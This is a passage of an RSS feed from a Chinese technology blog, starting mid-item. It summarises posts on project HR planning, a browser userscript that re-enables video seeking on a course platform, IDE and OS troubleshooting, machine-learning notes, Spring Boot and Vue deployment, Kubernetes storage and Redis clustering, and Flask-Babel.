，而且每一个项目团队成员都非常清楚自己的角色和职责。&#xA;2.人际交往&#xA;人际交往是指在组织、行业、或职业环境中与他人的非正式或正式的互动。&#xA;通过在本单位内或本行业内的人际交流，有助于了解那些能影响人员配备方案的人际因素。&#xA;成功的人际交往还可以增长与人力资源相关 的 知识，如胜任力、专门经验和外部合作机会，增加获取人力资源的途径，从而改进人力资源管理。&#xA;人际交往活动的例子包括写信、午餐会、非正式对话（如会议和活动）、贸易洽谈会和座谈会。&#xA;人际交往在项目初期特别有用，并可在项目期间及项目结束后有效促进项目管理职业的发展 。&#xA;3.组织理论&#xA;组织理论说明了个人、团队和组织部门的关系 ，以及他们之间互动的方式。&#xA;有效利用组织理论中的通用知识，可以节约编制人员资源管理计划的时间、成本及 人力 投入，提高规划工作的效率。&#xA;在不同的组织结构中，人们可能有不同的表现、不同的业绩，可能展现出不同的人际特点。认识到这一点非常重要的。此外，可以根据组织 理论灵活使用领导风格，以适应项目生命周期中项目成熟度的变化。&#xA;有很多文献描述了如何构建组织以及构建什么样的组织。项目管理团队应该熟悉这些组织 理论从而能将这些知识应用于项目职责和汇报关系、项目团队的创建、项目团队和项目团队的管理。&#xA;4.专家判断 在编制人力资源管理计划时，在 下列情况下，可以借助于专家判断：&#xA;列出对人力资源的初步要求 ；根据项目所在组织的标准角色 描述，分析项目所需的角色；确定项目所需的初步投入 水平和资源数量 ；根据项目所在组织的文化确定所需的报告关系；根据经验教训和市场调节，指导提前配备人员；识别与人员 招募 、留用和遣散相关的 风险；为了符合规如《劳动法》等的要求，在人员招聘、工作安排、解雇等方面制定并推荐标准作业程序。 4.会议&#xA;在编制项目人力资源管理计划时，项目管理团队将会举行相关会议。在这些会议 中，应该综合使用其他工具和技术，使项目管理团队成员 对人力资源管理计划达成共识 。&#xA;三、编制人力资源管理计划的输入 1.项目管理计划&#xA;要编制人力资源管理计划、得先参考项目管理计划。&#xA;项目管理 计划包括了编制人力资源管理计划所需的一些信息，例如对项目活动及其所需资源的描述、质量保证、风险管理、采购管理等，从这些活动中，项目管理团队可以找出所有必须的角色和职位。&#xA;用于指定人力资源管理计划的信息包括但不限于：&#xA;项目生命周期和拟用于每个阶段的过程；为完成项目目标，如何执行各项工作； 变更管理计划 ，规定如何监控变更；配置管理计划，规定如何开展配置管理；如何维持项目基准的变更；干系人之间的沟通需求和方法； 2.活动资源需求&#xA;3.事业环境因素&#xA;对于编制项目人力资源管理计划过程产生重要影响的事业环境因素有以下几个&#xA;（1）组织、文化和结构：那些组织或部门参与该项目？他们目前的工作安排 是什么？他们之间存在何种正式或分正式的关系？&#xA;关于组织类型的项目的影响：例如一个弱举证的组织结构就意味着项目经理的权利相对较弱。&#xA;（2）现有的人力资源与人力资源政策&#xA;（3）后勤保障：项目成员之间相隔多远？是否有人在不同的城市 、国家或时区？&#xA;（4）人事管理政策：这些政策对人员的招聘、项目团队建设等将产生直接影响。&#xA;（5）市场条件：人才市场的供求关系直接决定了人员招聘的难易程度以及人员薪资的待遇。</description>
    </item>
    <item>
      <title>云班课js脚本解除视频不可快进</title>
      <link>https://bchobby.github.io/posts/de65c4a475640b712e631bd3d4c99395/</link>
      <pubDate>Mon, 04 May 2020 09:04:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de65c4a475640b712e631bd3d4c99395/</guid>
      <description>**最新文章会在我的个人网站发布：http://www.xiaokai1999.cn/&#xA;**&#xA;由于疫情，我们学校的课程通过云班课来进行。&#xA;原因 老师设置视频不能拖动，导致不能直接看想看的部分，降低了效率&#xA;效果 问题：&#xA;因为网络的问题，加载的有点慢。不能快进的太快，虽然他已经记录好了看过的时间，但是会回弹（烦躁） 开插件前：&#xA;开插件后：&#xA;操作 1.添加controls属性 2.删除云班课自带的视频控制器 大功告成&#xA;我只不过用油猴自己写了一个脚本。&#xA;脚本下载地址 GitHub下载&#xA;greasyfork官方&#xA;下载完脚本直接导入油猴即可</description>
    </item>
    <item>
      <title>Parallels Desktop的windows虚拟机无法打开iso文件</title>
      <link>https://bchobby.github.io/posts/5fd592968e9d628fddf15744dad47382/</link>
      <pubDate>Mon, 04 May 2020 00:07:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fd592968e9d628fddf15744dad47382/</guid>
      <description>由于某些原因不得不用老古董的vs2008来解决问题，结果发现iso文件打不开，如下：&#xA;经过一番查找，发现解决办法：把iso文件放入到windows虚拟机下的c盘中：&#xA;参考: https://blog.csdn.net/lbzhao_28/article/details/79732012</description>
    </item>
    <item>
      <title>eclipse导入项目出现红叉解决方法</title>
      <link>https://bchobby.github.io/posts/0848b10602a9e63aae6c6ea6a4464bd8/</link>
      <pubDate>Sun, 03 May 2020 13:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0848b10602a9e63aae6c6ea6a4464bd8/</guid>
      <description>1、导入项目之前，请确认工作空间编码已设置为utf-8&#xA;window-&amp;gt;Preferences-&amp;gt;General-&amp;gt;Wrokspace-&amp;gt;Text file encoding-&amp;gt;Other 选择UTF-8，应用。&#xA;2、由于开发环境知中JRE以及Tomcat Library名称可能和源代码中的不一致，可能会出现Build Path的错误，解决方法如下：&#xA;右键project-&amp;gt;Build Path-&amp;gt;Configure Build Path-&amp;gt;选择Libraries -&amp;gt;删除带小红叉的Library-&amp;gt;点击Add Library-&amp;gt;选择JRE System Library(删了Tomcat Library的话就选择Server Runtime)-&amp;gt;选择一个JRE后-&amp;gt;Finish，如果是mysql的jar包错误，则导入自己版本的jar包。&#xA;3、进入项目包下的.settings目录，找到org.eclipse.wst.common.project.facet.core.xml文件，用记事本打道开后查看《runtime name=“Apache Tomcat v8.0”/》，看是否与你eclipse设置的tomcat版本一致，如果不一致，则修改成自己Tomcat版本，然后点击项目的错误包!&#xA;点击进入web.xml。然后把里面的内容全部裁剪，然后进行空保存，等系统刷新之后再把裁剪内容又复制进去，保存。&#xA;之后就好了，没有红叉，没有错误包提示。</description>
    </item>
    <item>
      <title>渣渣机器学习零碎笔记</title>
      <link>https://bchobby.github.io/posts/d961a598be1adb8d2b1fbb38084d896b/</link>
      <pubDate>Sun, 03 May 2020 09:15:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d961a598be1adb8d2b1fbb38084d896b/</guid>
      <description>渣渣机器学习零碎笔记 支持向量机 1、在线性可分情况下，训练数据集的样本点与分离超平面距离最近的样本点的实例称为：支持向量机&#xA;2、线性可分支持向量机：给定线性可分训练数据集，通过间隔最大为目标，求解相应的凸二次规划问题，从而学习得到的最优分离超平面，此时解是唯一的&#xA;3、算法一：&#xA;线性可分支持向量机学习算法–最大间隔法：&#xA;输入：线性可分训练数据集。输出：最大间隔分离超平面和分类决策函数。&#xA;step1:构造并求解约束最优化问题：&#xA;min 1/2||w||^2 s.t. yi(w*xi+b)-1&amp;gt;=0 求解最优解w,b 由此得到分离超平面：&#xA;w*x+b = 0 分类决策函数&#xA;f(x) = sign(w*x+b) SVM的效率依赖于：核函数的选择，核参数，软间隔参数&#xA;利用核技巧时，对于给定的核，特征空间和映射函数的取法是唯一的。（错）&#xA;序列最小最优化算法（SMO）的基本思路是：如果所有变量的解都满足此最优化问题的KKT条件，那么得到解；否则，选择两个变量，固定其他变量，针对其构建一个二次规划问题，称为子问题。SMO算法在每个子问题中选择两个变量优化，其中至少一个是违反KKT条件的。&#xA;不可分的样本，通过核函数映射到新的高维特征空间，使得样本变得可分，常见的核函数有多项式，高斯和sigmoid核函数&#xA;一般地，在不知道更多信息的时候使用高斯核函数是最稳妥的，高斯函数（RBF,径向基函数）是一个映射到无穷维的函数</description>
    </item>
    <item>
      <title>最优化作业第6章——无约束多维非线性规划方法</title>
      <link>https://bchobby.github.io/posts/e1161982a13c57b34953a499215a83c0/</link>
      <pubDate>Sun, 03 May 2020 01:30:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1161982a13c57b34953a499215a83c0/</guid>
      <description>代码：&#xA;#导入模块 from sympy import * import sympy as sp #将导入的模块重新定义一个名字以便后续的程序进行使用 from numpy import * import numpy as np #定义主要的处理函数 def main(): #x1,x2：目标函数变量；alpha：步长因子；f:目标函数；a,b:目标函数不同变量的解；dif_x1,dif_x2：目标函数偏导函数 #x_solver:目标函数变量解组成的矩阵；x_fun：包含alpha的迭代解函数组成的矩阵 # dif_x11，dif_x22：目标函数偏导函数；f_x_diff：目标函数偏导函数值组成的矩阵； # f_alpha_diff：对alpha求偏导得到的函数；alpha_solver：α的解;k:迭代的次数 #x_solver_k1:作为第k+1次迭代的解；x_solver_k：作为第k次迭代的解 k = 0 x1,x2,alpha = symbols(&#34;x1,x2,alpha&#34;,real = True)#将变量符号化，否则会出错 f = 8*x1**2 + 4*x1*x2 + 5*x2**2 #定义目标函数 a = 10 b=10 #定义目标函数的初始解的两维解 f_solver = 8*a**2 + 4*a*b + 5*b**2#得到给定初始解下的目标函数值 dif_x1 = sp.diff(f,x1) dif_x2 = sp.diff(f,x2) #目标函数对不同变量进行求偏导，得到偏导函数 dif_x11 = dif_x1.subs({x1: a, x2: b}) dif_x22 = dif_x2.</description>
    </item>
    <item>
      <title>图解---电脑连接wifi，显示无法连接到这个网络</title>
      <link>https://bchobby.github.io/posts/d7e953903a3e51551c74b34e6a6160c2/</link>
      <pubDate>Sat, 02 May 2020 22:31:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7e953903a3e51551c74b34e6a6160c2/</guid>
      <description> 无法连接到这个网络 解决办法 右键&#34;此电脑&#34;，点击属性&#xA;点击&#34;控制面板主页&#34;点击&#34;网络和Internet&#34;&#xA;点击&#34;网络共享中心&#34;&#xA;此时我的电脑显示：还没有连接任何网络。&#xA;大家在此时可以选择在此进行wifi连接，就会出现。然后点击&#xA;点击&#34;属性&#34;&#xA;若此处显示空白，请往下看其解决过程&#xA;进行勾选后，点击确定即可。此时wifi就能连接成功&#xA;解决点击&#34;属性&#34;，出现界面不正常 右键&#34;此电脑&#34;，点击管理&#xA;2.点击系统工具&#xA;3.点击系统&#xA;4.点找到Network Setup Service&#xA;并设置为手动方式 </description>
    </item>
    <item>
      <title>Ubuntu 20.04安装过程</title>
      <link>https://bchobby.github.io/posts/7a0d9fdc0178ae5fd28f76f08e495282/</link>
      <pubDate>Sat, 02 May 2020 13:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a0d9fdc0178ae5fd28f76f08e495282/</guid>
      <description>Ubuntu 20.04安装过程 下载地址：http://releases.ubuntu.com/20.04/ubuntu-20.04-desktop-amd64.iso&#xA;使用VMware workstation进行安装操作&#xA;步骤1：选择语言，单击“安装Ubuntu”。如图所示。&#xA;步骤二：选择键盘布局，采用默认模式即可。单击“继续”。&#xA;步骤三：选择安装模式，默认即可，单击“继续”。&#xA;步骤四：选择安装类型，选择“清除整个磁盘并安装Ubuntu”，单击“现在安装”。&#xA;单击“继续”。&#xA;步骤五：选择时区，单击“继续”。&#xA;步骤六：设置用户名和密码，单击“继续”。&#xA;步骤七：等待下载安装完毕重启即可。&#xA;安装完成，点击“现在重启”。&#xA;安装vmware-tools工具参考Ubuntu18.04版本的安装过程操作。</description>
    </item>
    <item>
      <title>bin.tar.gz和bin.zip以及src.tar.gz和src.zip以及rpm和dmg的区别</title>
      <link>https://bchobby.github.io/posts/9fa7c753f7cf3402bf2c3094fc564a95/</link>
      <pubDate>Sat, 02 May 2020 01:31:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fa7c753f7cf3402bf2c3094fc564a95/</guid>
      <description>官网下载maven的时候，有很多个文件不知道下哪一个，今天记录一下对其做个解释：&#xA;文件后缀含义：&#xA;（1）bin代表二进制class文件(由java文件编译而成)，src代表源码（java源码），源码source比binary大一些，一般正常使用下载bin类型即可，如果要学习源码下载src类型。&#xA;（2）.tar.gz是linux的压缩包，.zip是windows的压缩包&#xA;因此：&#xA;bin.tar.gz是适用于linux、MacOsX系统的二进制文件&#xA;bin.zip是适用于windows的二进制文件&#xA;src.tar.gz是linux下的源码&#xA;src.zip是windows的源码&#xA;其他官网后缀含义：&#xA;Java&#xA;（1） .rpm(RedHat Linux Packages Manager)，是readhat linux 软件回二进制包管理答器。&#xA;（2）.dmg苹果电脑Mac OS 系统的安装包&#xA;（3）.exe应该都不用说了吧，win下的可执行程序&#xA;所以，根据自己的需要下载相对应的文件即可</description>
    </item>
    <item>
      <title>将vue打包项目集成到springboot项目中 使用thymeleaf模板实现后端启动直接调试接口</title>
      <link>https://bchobby.github.io/posts/6730acc376741d68da26f9c631a97b83/</link>
      <pubDate>Fri, 01 May 2020 13:07:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6730acc376741d68da26f9c631a97b83/</guid>
      <description>这里写自定义目录标题 vue打包项目并集成到springboot项目中部署简单说明 vue打包项目并集成到springboot项目中 最近在研究，怎么把前后端分离的项目整合到一个包中，达到部署最简化的过程，于是乎研究把vue打包的项目集成到springboot项目中，这样就在打包springboot项目的时候就直接把前段的静态页面都携带进去了，部署就只需要启动一个jar包就可以实现页面访问及数据调取了。现在把自己的研究成果展示一下，希望能帮助有需要的人。&#xA;部署简单说明 本人使用的webstorm进行前端页面的开发，页面开发好以后，将项目打包，然后将目录dist下的statrc及index.html文件拷贝到springboot下resources下。如图及说明：&#xA;1、打包vue项目：命令，npm run build&#xA;打包好的项目如图：&#xA;2、将打包好的项目拷贝到springboot项目下，如图：&#xA;（这里需要注意的是，springboot项目resources目录下是没有static及templates文件夹的，在拷贝之前需要自己手动创建一下）。&#xA;3、以上步骤就已经把vue项目集成到springboot项目中了，接下来是怎么在springboot项目是使用集成的vue静态页面。&#xA;4、在yml文件下增加thymeleaf模板配置，如下&#xA;spring: #thymeleaf模板配置 thymeleaf: cache: false # 这个开发配置为false，避免改了模板还要重启服务器 prefix: classpath:/templates/ #模板文件视图前缀，默认是classpath:/templates/，可不用配置 suffix: .html #模板文件视图后缀，默认是.html，可不用配置 check-template-location: true #检查模板位置，可不用配置 encoding: utf-8 #编码字符集，默认为utf-8，可不用配置 servlet: content-type: text/html&#x9;#模板的内容类型，默认为text/html，可不用配置 mvc: static-path-pattern: /static/** 5、在pom文件中添加thymeleaf依赖，如下：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-thymeleaf&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 6、启动项目，直接访问当前yml文件中配置的端口号，我的是8989。&#xA;http://localhost:8989&#xA;7、以上是我把前端项目打包后集成到springboot中的全过程，希望能对需要的人有用。同时也是为自己做个笔记，在整理的过程中来加固一下，欢迎大家指出问题，共同进步。</description>
    </item>
    <item>
      <title>ks8的数据管理---PV/PVC</title>
      <link>https://bchobby.github.io/posts/dd6c131a3e3c3b672ecb3846459f54aa/</link>
      <pubDate>Thu, 30 Apr 2020 17:13:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd6c131a3e3c3b672ecb3846459f54aa/</guid>
      <description>1、背景 所谓容器的Volume,其实就是将一个宿主机上的目录跟一个容器里的目录绑定挂载在了一起；volume 提供了非常好的数据持久化方案，不过在可管理性上还有不足:&#xA;要使用 Volume，Pod 必须事先知道Volume来自哪儿，需要提前创建；Pod 通常是由应用的开发人员维护，而 Volume 则通常是由存储系统的管理员维护。开发人员要获得上面的信息：要么询问管理员;要么自己就是管理员。 这样就带来一个管理上的问题：应用开发人员和系统管理员的职责耦合在一起了。如果系统规模较小或者对于开发环境这样的情况还可以接受。但当集群规模变大，特别是对于生成环境，考虑到效率和安全性，这就成了必须要解决的问题。&#xA;2、PV 1）介绍 PersistentVolume（PV）是集群中已由管理员配置的一段网络存储。集群中的资源就像一个节点是一个集群资源。PV是诸如卷之类的卷插件，但其生命周期独立于使用PV的任何单个pod。该API对象捕获存储的实现细节，即NFS，iSCSI或云提供商特定的存储系统。&#xA;PersistentVolumeClaim（PVC）是由用户进行存储的请求，PersistentVolumeClaim (PVC) 是对 PV 的申请 (Claim)， 它类似于pod。 Pod消耗节点资源，PVC消耗PV资源。Pod可以请求特定级别的资源（CPU和内存）。声明可以请求特定的大小和访问模式（例如，可以一次读/写或多次只读）。&#xA;PVC和PV是一一对应的，有了 PersistentVolumeClaim，用户只需要告诉 Kubernetes 需要什么样的存储资源，而不必关心真正的空间从哪里分配，如何访问等底层细节信息。这些 Storage Provider 的底层信息交给管理员来处理，只有管理员才应该关心创建 PersistentVolume 的细节信息。&#xA;虽然PersistentVolumeClaims允许用户使用抽象存储资源，但PersistentVolumes对于不同的问题，用户通常需要具有不同属性（例如性能）。群集管理员需要能够提供各种PersistentVolumes不同的方式，而不仅仅是大小和访问模式，而不会让用户了解这些卷的实现方式。对于这些需求，有StorageClass 资源。&#xA;StorageClass为管理员提供了一种描述他们提供的存储的“类”的方法。 不同的类可能映射到服务质量级别，或备份策略，或者由群集管理员确定的任意策略。 Kubernetes本身对于什么类别代表是不言而喻的。 这个概念有时在其他存储系统中称为“配置文件”。&#xA;2）生命周期 PV是群集中的资源。PVC是对这些资源的请求，并且还充当对资源的检查。PV和PVC之间的相互作用遵循以下生命周期：&#xA;Provisioning ——&amp;gt; Binding ——&amp;gt;Using——&amp;gt;Releasing——&amp;gt;Recycling&#xA;step1：供应准Provisioning—通过集群外的存储系统或者云平台来提供存储持久化支持。 静态提供Static：集群管理员创建多个PV。 它们携带可供集群用户使用的真实存储的详细信息。它们存在于Kubernetes API中，可用于消费。动态提供Dynamic：当管理员创建的静态PV都不匹配用户的PersistentVolumeClaim时，集群可能会尝试为PVC动态配置卷。此配置基于StorageClasses：PVC必须请求一个类，并且管理员必须已创建并配置该类才能进行动态配置。要求该类的声明有效地为自己禁用动态配置。 step2：绑定Binding—用户创建pvc并指定需要的资源和访问模式。在找到可用pv之前，pvc会保持未绑定状态。 step3：使用Using—用户可在pod中像volume一样使用pvc。 step4：释放Releasing—用户删除pvc来回收存储资源，pv将变成“released”状态。 由于还保留着之前的数据，这些数据需要根据不同的策略来处理，否则这些存储资源无法被其他pvc使用。&#xA;step5：回收Recycling—pv可以设置三种回收策略：保留（Retain），回收（Recycle）和删除（Delete）。 保留策略：当删除与之绑定的PVC时候，这个PV被标记为released（PVC与PV解绑但还没有执行回收策略）且之前的数据依然保存在该PV上，但是该PV不可用，需要手动来处理这些数据并删除该PV。删除策略：当删除与之绑定的PVC时候。回收策略：这个在1.14版本中以及被废弃，取而代之的是推荐使用动态存储供给策略，它的功能是当删除与该PV关联的PVC时，自动删除该PV中的所有数据。 注：&#xA;1&amp;gt; PV必须先与POD创建，而且只能是网络存储不能属于任何Node，虽然它支持HostPath类型但由于你不知道POD会被调度到哪个Node上，所以你要定义HostPath类型的PV就要保证所有节点都要有HostPath中指定的路径。&#xA;2&amp;gt; 目前只有NFS和HostPath类型卷支持回收策略，AWS EBS,GCE PD,Azure Disk和Cinder支持删除(Delete)策略。&#xA;3）PV 支持的类型 GCEPersistentDisk、NFS 、CephFS 、HostPath、Glusterfs 等&#xA;4）PV卷阶段状态 Available：资源尚未被claim使用&#xA;Bound：卷已经被绑定到claim了</description>
    </item>
    <item>
      <title>MFC中dlg.DoModal()返回-1</title>
      <link>https://bchobby.github.io/posts/7a0cf71f0de53825ac5e7a209399d29d/</link>
      <pubDate>Thu, 30 Apr 2020 14:34:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a0cf71f0de53825ac5e7a209399d29d/</guid>
      <description>今天新加一个登陆对话框，替换主对话框之后居然显示不出来，经查，MFC中dlg.DoModal()返回-1，后来在网上查到各种原因，对比后发现，我可能在对话框上用了 RICHEDIT 控件，然后添加 AfxInitRichEdit(); 果然解决了问题。&#xA;特此记录！&#xA;参考：&#xA;https://zhidao.baidu.com/question/307199776.html</description>
    </item>
    <item>
      <title>k8s上部署高可用redis集群--三主三从</title>
      <link>https://bchobby.github.io/posts/b5d35fdad95c882e5cf0bd67c2758e40/</link>
      <pubDate>Thu, 30 Apr 2020 13:03:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5d35fdad95c882e5cf0bd67c2758e40/</guid>
      <description>K8S搭建三主三从高可用redis集群 一、创建存储卷二、创建PV三、创建configmap四、创建headless service五、创建redis集群节点六、初始化redis集群七、创建用于访问的service八、redis主从切换测试 本方案采用StatefulSet进行redis的部署。它为了解决有状态服务的问题，它所管理的Pod拥有固定的Pod名称，启停顺序。在Deployment中，与之对应的服务是service，而在StatefulSet中与之对应的headless service，headless service，即无头服务，与service的区别就是它没有Cluster IP，解析它的名称时将返回该Headless Service对应的全部Pod的Endpoint列表。&#xA;在k8s上搭建Redis sentinel完全没有意义，经过测试，当master节点宕机后，sentinel选择新的节点当主节点，当原master恢复后，此时无法再次成为集群节点。因为在物理机上部署时，sentinel探测以及更改配置文件都是以IP的形式，集群复制也是以IP的形式，但是在容器中，虽然采用的StatefulSet的Headless Service来建立的主从，但是主从建立后，master、slave、sentinel记录还是解析后的IP，但是pod的IP每次重启都会改变，所有sentinel无法识别宕机后又重新启动的master节点，所以一直无法加入集群，虽然可以通过固定pod IP或者使用NodePort的方式来固定，或者通过sentinel获取当前master的IP来修改配置文件。 sentinel实现的是高可用Redis主从，检测Redis Master的状态，进行主从切换等操作，但是在k8s中，无论是dc或者ss，都会保证pod以期望的值进行运行，再加上k8s自带的活性检测，当端口不可用或者服务不可用时会自动重启pod或者pod的中的服务，所以当在k8s中建立了Redis主从同步后，相当于已经成为了高可用状态，并且sentinel进行主从切换的时间不一定有k8s重建pod的时间快，所以个人认为在k8s上搭建sentinel没有意义。&#xA;K8s集群环境&#xA;节点IPmaster192.168.1.100node1192.168.1.101node2192.168.1.102node3192.168.1.103 下载镜像经导入集群中redis:3.2.8、inem0o/redis-trib:latest&#xA;docker pull redis:3.2.8; docker save –o redis.tar redis:3.2.8&#xA;docker pull inem0o/redis-trib:latest; docker save –o redis-trib.tar inem0o/redis-trib:latest&#xA;redis.tar上传至k8s的各个node节点；redis-trib.tar上传至k8s的master节点&#xA;一、创建存储卷 创建NFS存储主要是为了给Redis提供稳定的后端存储，当Redis的Pod重启或迁移后，依然能获得原先的数据。&#xA;安装nfs软件包 ]# yum –y install nfs-utils rpcbind&#x9;#任选一台节点(这里选k8s-master) 创建共享存储 ]# mkdir -p /usr/local/k8s/redis/pv{1..6}&#x9;#创建共享目录 ]# cat /etc/exports&#x9;#配置共享路径 /redis/pv1 192.168.1.0/24(rw,sync,no_root_squash) /redis/pv2 192.168.1.0/24(rw,sync,no_root_squash) /redis/pv3 192.168.1.0/24(rw,sync,no_root_squash) /redis/pv4 192.168.1.0/24(rw,sync,no_root_squash) /redis/pv5 192.168.1.0/24(rw,sync,no_root_squash) /redis/pv6 192.168.1.0/24(rw,sync,no_root_squash) ]# systemctl restart rpcbind;systemctl restart nfs;systemctl enable nfs 查看共享路径 exportfs –v&#x9;#k8s-master上操作 其他节点安装nfs客户端，并验证 ]# yum -y install nfs-utils ]# showmount -e 192.</description>
    </item>
    <item>
      <title>用ENVI5.3处理哨兵2数据保姆级教程</title>
      <link>https://bchobby.github.io/posts/e98b011752f62b72b06caeb8b437af5a/</link>
      <pubDate>Thu, 30 Apr 2020 12:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e98b011752f62b72b06caeb8b437af5a/</guid>
      <description> ENVI5.5之前的ENVI版本是不能直接打开哨兵数据的，但是办法总比困难多，看了一些文章记录的方法，自己试了一下，是可以成功使用5.5之前的版本处理哨兵数据的。本篇详细记录一下如何用ENVI5.3处理哨兵数据，怕时间长了我给忘了orz&#xA;参考：http://blog.sciencenet.cn/blog-3367669-1084798.html 步骤1：用ENVI打开下载好的数据文件里的.jp2文件，路径为 文件夹\GRANULE\...\IMG_DATA，注意：不能用classic版本打开！要不然会出问题 步骤2：将.jp2文件另存为ENVI Standard 格式，注意：不要直接存为tiff格式，一定先存为Envi Standard格式，要不然会丢失坐标信息 全部转为ENVI Standard后是这个亚子（一般用到2，3，4，8波段）&#xA;步骤3：将转换后的ENVI Standard数据波段合成 假彩色显示一下是这样的&#xA;步骤4：将上一步Layer Stacking后的文件另存为TIFF格式输出 然后就大功告成！ </description>
    </item>
    <item>
      <title>Flask-Babel 全球化使用笔记</title>
      <link>https://bchobby.github.io/posts/e8d26fdbd4e30bf37c06be691e4e3e53/</link>
      <pubDate>Thu, 30 Apr 2020 10:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8d26fdbd4e30bf37c06be691e4e3e53/</guid>
      <description>Flask-Babel是flask支持i18n 和 l10n的一个扩展库，基于babel, pytz和speaklater。我用的是python3&#xA;安装 pip install Flask-Babel 在flask中应用举例 from flask import Flask from flask_babel import Babel app = Flask(__name__) app.config.from_pyfile(&#39;config.py&#39;) babel = Babel(app) 配置项 配置项说明BABEL_DEFAULT_LOCALE默认语言，不设置取enBABEL_DEFAULT_TIMEZONE默认时区，不设置取utcBABEL_TRANSLATION_DIRECTORIEStranslations的目录,如果不设置,则取app的根目录 使用如下，在app的配置文件config.py中设置,translations的生成后面说&#xA;BABEL_DEFAULT_LOCALE=&#39;en&#39; BABEL_DEFAULT_TIMEZONE=&#39;UTC&#39; BABEL_TRANSLATION_DIRECTORIES=&#39;**/translations&#39; LANGUAGE = [&#39;zh&#39;, &#39;en&#39;, &#39;fr&#39;] 通过请求中切换语言 通过select返回的语言类型来更改服务返回的数据，文档中说用refresh清缓存，这个没有用到，但是可以实现切换，这个以后再研究，文档原文如下：&#xA;If any of these methods return None the extension will automatically fall back to&#xA;what’s in the config. Furthermore for efficiency that function is called only once&#xA;and the return value then cached.</description>
    </item>
    <item>
      <title>MinGW安装教程（make安装教程）解决cmd中make不是内部命令的问题</title>
      <link>https://bchobby.github.io/posts/92f750d49b71c76ed47b73a3ade1f0e0/</link>
      <pubDate>Wed, 29 Apr 2020 15:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92f750d49b71c76ed47b73a3ade1f0e0/</guid>
      <description>由于一个c++项目需要make的命令需要另外下载安装MinGW。&#xA;MinGW，是Minimalist GNUfor Windows的缩写。它是一个可自由使用和自由发布的Windows特定头文件和使用GNU工具集导入库的集合。&#xA;MinGW安装教程如下：&#xA;1、进入MinGW的官网：mingw.org 然后在左侧侧边栏可以找到下载链接&#xA;点击ALL time 目录下的download/installer&#xA;2(在这里推荐下载到c盘根目录（没什么原因，就是尽量和该指导文档一致，在后面设置环境变量的时候也会比较方便） 3、添加 C:\MinGW\bin 到系统环境变量PATH 添加过程：&#xA;windows在这里输入你要搜索的内容，输入：环境变量&#xA;然后进入环境变量&#xA;在下面系统变量中寻找到PATH这一栏，双击path&#xA;然后出现这个编辑环境变量，在这里点击新建，粘贴：C:\MinGW\bin&#xA;然后全部点确定就添加成功！&#xA;4、打开MinGW Installation Manager【MinGW】&#xA;该部分安装请参考MinGW安装中文&#xA;下图：安装完毕，在安装管理器的主页面中，复选框会填充成绿色，我们以后可以根据它来管理 MinGW 的组件。&#xA;5、先添加后添加环境变量无差 6、打开C:\MinGW\bin文件夹，找到mingw32-make.exe MinGW 只提供了名字为 mingw32-make.exe 的执行文件，该文件和 make.exe 功能一样，为了make执行时能找到该文件，复制mingw32-make.exe一份，并将复制文件命名为make.exe&#xA;7、查看make是否安装成功： 在cmd中输入 make -v，看到以下内容表示安装成功： GNU Make 3.82.90 Built for i686-pc-mingw32 Copyright © 1988-2012&#xA;Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or&#xA;later http://gnu.org/licenses/gpl.html This is free software: you&#xA;are free to change and redistribute it.</description>
    </item>
    <item>
      <title>精心整理的一份MarkDown数学公式命令汇总【建议收藏】</title>
      <link>https://bchobby.github.io/posts/9e0ae683c3e14a62c69f67570d9c9161/</link>
      <pubDate>Wed, 29 Apr 2020 13:22:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e0ae683c3e14a62c69f67570d9c9161/</guid>
      <description>文章目录 一、基本语法二、希腊字母三、字母的特殊修饰符号四、比较运算与集合运算五、数学分析常见符号六、矩阵七、补充 一、基本语法 公式用$...$或$$...$$$定义。区别是，前者显示为行内公式，后者显示为行间公式。&#xA;例如，输入：&#xA;我是多项式函数$f(x)=a_0+a_1x+\cdots+a_nx^n \quad n \geq 0$ 我是多项式函数$$g(x)=b_0+b_1x+\cdots+b_nx^n \quad n \geq 0$$ 显示：&#xA;我是多项式函数 f ( x ) = a 0 + a 1 x + ⋯ + a n x n n ≥ 0 f(x)=a_0+a_1x+\cdots+a_nx^n \quad n \geq 0 f(x)=a0​+a1​x+⋯+an​xnn≥0&#xA;我是多项式函数 g ( x ) = b 0 + b 1 x + ⋯ + b n x n n ≥ 0 g(x)=b_0+b_1x+\cdots+b_nx^n \quad n \geq 0 g(x)=b0​+b1​x+⋯+bn​xnn≥0</description>
    </item>
    <item>
      <title>互联网行业女孩子做什么比较好？</title>
      <link>https://bchobby.github.io/posts/20f5efa8de92b4dd0775db1c80a87a0c/</link>
      <pubDate>Wed, 29 Apr 2020 11:51:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20f5efa8de92b4dd0775db1c80a87a0c/</guid>
